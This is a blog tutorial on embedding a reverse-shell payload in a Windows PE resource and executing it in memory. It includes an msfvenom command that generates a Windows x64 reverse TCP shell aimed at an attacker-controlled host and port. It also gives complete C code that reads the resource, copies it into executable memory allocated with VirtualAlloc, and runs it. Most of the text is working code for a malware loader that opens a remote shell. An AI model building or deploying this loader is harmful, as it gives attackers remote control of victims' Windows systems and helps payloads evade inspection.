Embed Shellcode into PE Resources
In this blog post, we'll cover how to embed shellcode into PE resources and execute it.

Prerequisites
Coding experience with C/C++.
Visual Studio.
Steps to Embed Shellcode into PE Resources
Generate and save a simple reverse shell payload as raw with msfvenom (you can use Cobalt Strike too).
Import the reverse shell file into Resource Files in Visual Studio.
Find the resource by its name.
Get the size of the resource data.
Get the actual resource data which is the shellcode.
Allocate a virtual memory space to write the shellcode.
Copy the shellcode into the allocated virtual memory space.
Execute the reverse shell.
Step #1 - Generate Reverse Shell
msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 -o reverse_shell.bin
Step #2 - Import The Reverse Shell File
Solution Explorer -> Resource Files (right click on it) -> Add -> Resource
Click the Import button, then select the reverse_shell.bin file.
Give a resource name, you can choose anything. I'm going to name it reverse_shell.


Step #3 - Find The Resource
To find the resource, we're going to use FindResource. The function takes 3 parameters:
[in, optional] HMODULE hModule
If this parameter is NULL, the function searches the module used to create the current process.
[in] lpName
The name of the resource. Alternately, rather than a pointer, this parameter can be MAKEINTRESOURCE(ID), where ID is the integer identifier of the resource.
[in] lpType
The resource type. Alternately, rather than a pointer, this parameter can be MAKEINTRESOURCE(ID), where ID is the integer identifier of the given resource type.
Before we start to code this part, let's learn how to find lpName and lpType values.
Solution Explorer -> Resource Files
Click the .rc file.
In the Resource View tab, you're going to see something similar to IDR_REVERSE_SHELL1 which is the ID of resource, and then the parent's folder name is the lpType.


#include <windows.h>
#include "resource.h"
int main(int argc, char** argv) {
HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");
return 0;
}
Step #4 - Get The Size of Shellcode
We need to use SizeofResource to find the size of a resource data. The function take 2 parameters:
[in, optional] hModule
A handle to the module whose executable file contains the resource.
We're going to set it to NULL.
[in] hResInfo
A handle to the resource.
#include <windows.h>
#include "resource.h"
int main(int argc, char** argv) {
HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");
if (resource) {
DWORD resourceSize = SizeofResource(NULL, resource);
}
return 0;
}
Step #5 - Get The Shellcode Data
To get the shellcode data, we're going to use LoadResource. The function takes the same parameters as SizeofResource.
#include <windows.h>
#include "resource.h"
int main(int argc, char** argv) {
HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");
if (resource) {
DWORD resourceSize = SizeofResource(NULL, resource);
HGLOBAL resourceData = LoadResource(NULL, resource);
}
return 0;
}
Step #6, 7, 8 - Execute The Shellcode
We're cover the steps 6, 7, 8 together. The final part is very simple. We're going to allocate a virtual memory space via VirtualAlloc and write to it via memcpy. Then we're going to execute the shellcode.
#include <windows.h>
#include "resource.h"
int main(int argc, char** argv) {
HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");
if (resource) {
DWORD resourceSize = SizeofResource(NULL, resource);
HGLOBAL resourceData = LoadResource(NULL, resource);
void* exec = VirtualAlloc(0, resourceSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec && resourceData) {
memcpy(exec, resourceData, resourceSize);
((void(*)())exec)();
}
}
return 0;
}
Links
Last updated
Was this helpful?